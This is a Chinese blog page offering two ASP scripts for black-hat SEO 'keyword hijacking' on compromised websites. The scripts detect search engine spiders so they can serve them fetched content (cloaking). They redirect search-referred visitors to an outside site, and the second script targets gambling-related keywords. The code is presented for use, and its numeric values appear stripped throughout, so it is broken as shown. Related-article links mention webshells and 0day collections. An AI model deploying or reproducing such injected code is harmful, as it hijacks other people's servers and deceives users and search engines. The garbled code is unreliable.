摘要:关键词劫持(黑帽seo)其实原理很简单:搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出判断...

黑帽SEO代码一:

<%
function GetBot()
'查询蜘蛛
dim s_agent
GetBot=""
s_agent=Request.ServerVariables("HTTP_USER_AGENT") '关键判断语句
if instr(,s_agent,"googlebot",) > then
GetBot="google"
end if
if instr(,s_agent,"msnbot",) > then
GetBot="MSN"
end if
if instr(,s_agent,"slurp",) > then
GetBot="Yahoo"
end if
if instr(,s_agent,"baiduspider",) > then
GetBot="baidu"
end if
if instr(,s_agent,"sohu-search",) > then
GetBot="Sohu"
end if
if instr(,s_agent,"lycos",) > then
GetBot="Lycos"
end if
if instr(,s_agent,"robozilla",) > then
GetBot="Robozilla"
end if
end function
Function getHTTPPage(Path)
t = GetBody(Path)
getHTTPPage=BytesToBstr(t,"GB2312")'编码
End function
Function Newstring(wstr,strng)
Newstring=Instr(lcase(wstr),lcase(strng))
if Newstring<= then Newstring=Len(wstr)
End Function
Function GetBody(url)
on error resume next
Set Retrieval = CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", url, False, "", ""
.Send
GetBody = .ResponseBody
End With
Set Retrieval = Nothing
End Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type =
objstream.Mode =
objstream.Open
objstream.Write body
objstream.Position =
objstream.Type =
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
Dim wstr,str,url,start,over,dtime
if GetBot="baidu" then
'给百度蜘蛛定制的内容
url="http://www.yunsec.net"
'想要展示给蜘蛛的页面地址
wstr=getHTTPPage(url)
body=wstr
response.write ""&body&""
response.end
elseif GetBot="google" then
'给google 蜘蛛定制的内容
url="http://www.yunsec.net"
wstr=getHTTPPage(url)
body=wstr
response.write ""&body&""
response.end
end if
if instr(Request.ServerVariables("http_referer"),"www.baidu.com")> then
'如果用户来自www.baidu.com
response.redirect("http://www.yunsec.net/")
'跳转指定地址
end if
%>

黑帽SEO二

<%
function hasKey()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))
hasKey= false
if urlrefer="" then fromse= false
searray=array("%e7%9c%9f%e9%92%b1%e6%b8%b8%e6%88%8f","%e9%be%99%e8%99%8e%e6%96%97","%e7%9c%9f%e9%92%b1%e9%be%99%e8%99%8e%e6%96%97","%e8%b4%a2%e7%a5%9e%e5%8d%9a%e5%bd%a9%e7%bd%91","%e8%b4%a2%e7%a5%9e%e5%8d%9a%e5%bd%a9,%d5%e6%c7%ae%d3%ce%cf%b7","%d5%e6%c7%ae%c1%fa%bb%a2%b6%b7","%b2%c6%c9%f1%b2%a9%b2%ca%cd%f8","%b2%c6%c9%f1%b2%a9%b2%ca")
for i= to ubound(searray)
if (instr(urlrefer,searray(i))>) then hasKey=true
next
end function function fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))
fromse= false
if urlrefer="" then fromse= false
searray=array("google","baidu","sogou","yahoo","soso")
for i= to ubound(searray)
if (instr(urlrefer,searray(i))>) then fromse=true
next
end function function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogou","yahoo","soso")
isspider= false
for i= to ubound(searray)
if (instr(agent,searray(i))>) then isspider=true
next
end function function gethttp(url)
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<> then
exit function
end if
gethttp=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<> then err.Clear
end function function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,))
If ThisCharCode < &H80 Then
strReturnstrReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+,))
strReturnstrReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
ii = i +
End If
Next
bytes2BSTR = strReturn
End function if(fromse() and hasKey()) then
Response.Redirect ("http://www.yunsec.net")
end if if(isspider()) then
dim myfso,fileurl,filecon,myfile,remotehtml,bodyurl
bodyurl="http://www.yunsec.net/hack.htm"
response.clear
remotehtml=gethttp(bodyurl)
response.write(remotehtml)
response.write("<!--"&now()&"-->")
response.flush
end if %>

搜索引擎关键词劫持之asp篇的更多相关文章

  1. 搜索引擎关键词劫持之php篇(源码与分析)

    摘要:其实原理很简单: 搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出如下判断: if(来访者是蜘蛛){ 输出 ...

  2. 搜索引擎关键词劫持之.net篇

    摘要:蛋疼写的,有需要的就拿去,注意要保存为Global.asax. 重要说明:为避免编码问题,请在劫持页面(data_url)指向页面加入meta标记来指明编码,如 meta content=tex ...

  3. python截取搜索引擎关键词

    这段代码是自己学了python的基本语法之后,参考一个网上视频写的代码,功能是截取搜索引擎360的关键词. 代码: #!/usr/bin/python #encoding:utf-8 import u ...

  4. PHP获取搜索引擎关键词

    有时候我们需要知道用户通过哪个搜索引擎,通过拿个关键词访问我们页面,当然js也可以实现,这里介绍下php的实现代码,包含(百度.谷歌.雅虎.搜狗.搜搜.必应.有道)几大搜索引擎的获取方法. //获取来 ...

  5. 一句话木马:ASP篇

    ASP一句话木马收集: <%eval request("chopper")%> <%execute request("chopper")%&g ...

  6. 【渗透课程】特别篇-主流网站程序Oday大全以及拿shell思路

    版权和内容说明: 这篇文章不是本站编写,是从网络上摘抄的,但是经过了本站的改写优化,并将内容,格式规范化. 本篇说明:这篇文章结合了前辈们前几年一路挖掘出来的主流程序漏洞以及思路, 小编写在前面是想让 ...

  7. Python网络爬虫入门篇

    1.  预备知识 学习者需要预先掌握Python的数字类型.字符串类型.分支.循环.函数.列表类型.字典类型.文件和第三方库使用等概念和编程方法. 2. Python爬虫基本流程 a. 发送请求 使用 ...

  8. [转]ASP.NET数据库连接字符串总结

    这个不难,而且很重要,但总忘,找了篇比较全的,作为资料. 原文链接http://developer.51cto.com/art/201107/275406.htm 关于数据库链接字符串的相关知识,我们 ...

  9. Google搜索排名优化-面向搜索引擎的网站设计

    内容摘要:网站在搜索营销方面最主要的缺点: 行业知识:不知道搜索引擎对吸引的新用户的重要性,在搜索引擎排名服务中追求“傻瓜相关”,购买一些其实没有太多实际意义的行业关键词.其实能够用户输入的关键词越多 ...

随机推荐

  1. 【读书笔记】iOS-ARC-环境下如何查看引用计数的变化

    一,新建立一个工程,用于测试引用计数的变化. 二,找到如下路径Build Phases---->Compile Sources---->AppDelegate.m 三,选中AppDeleg ...

  2. javaScript基础语法(下)

    4.逻辑控制语句 4.1条件结构 条件结构分为if结构和switch结构. 通常在写代码时,您总是需要为不同的决定来执行不同的动作.您可以在代码中使用条件语句来完成该任务. 在 JavaScript ...

  3. mysql 数据库乱码问题

    mysql 数据库乱码问题,按如下顺序检查,一步一步排除出错位置. 最好全部编码都使用UTF8编码. 网页页面编码方式使用UTF8: <meta http-equiv="Content ...

  4. OEM代工厂产品经理个人经历谈

    创业不是一件随随便便的事情! 到2007年时,我已经在上海.广州.东莞三地的工厂打工有十来年了.正是这个时间结点,我也即将做父亲了.打了很久的工后,就开始感到疲倦,做来做去,都是给老板做,也就在这时开 ...

  5. input 默认值为灰色,输入时清楚默认值

    input 默认值为灰色,输入时清楚默认值 <input value="please input your name" onFocus="if(value==def ...

  6. 资源list:Github上关于大数据的开源项目、论文等合集

    Awesome Big Data A curated list of awesome big data frameworks, resources and other awesomeness. Ins ...

  7. 【mysql】数据库使用的一些规范

    一.MySQL存在的问题 优化器对复杂SQL支持不好 对SQL标准支持不好 大规模集群方案不成熟,主要指中间件 ID生成器,全局自增ID 异步逻辑复制,数据安全性问题 Online DDL HA方案不 ...

  8. 微软Nokia 222:可拍照可上网 售价37美元 32GB的microSD卡扩展

    腾讯科技讯 8月27日,在几乎所有厂商都在智能手机领域大肆拼杀的时候,微软日前却悄悄地发布了一款功能手机Nokia 222. 目前,尽管全球许多发达国家的居民都对互联网已经再熟悉不过了,但事实上全球依 ...

  9. Windows批处理:自动检查网络连通性

    检测网络连通性我用的是丛远到近的方法,即“外网——网关——内网——本机”,脚本的实现也是根据这个顺序用ping来检测,为提高检测速度,这里我只ping了2次,各位可以根据自己的需要进行修改. 使用方法 ...

  10. web性能优化系列之网站瓶颈识别

    最近,公司网站的的访问量日益增大,PV马上过百万了.前期网站一到访问高峰,马上会变得很卡甚至打不开,后来做了很多优化后现在访问比较顺畅了.经过此事明白了一个道理,在遇到这类问题要做到两点,第一要相信自 ...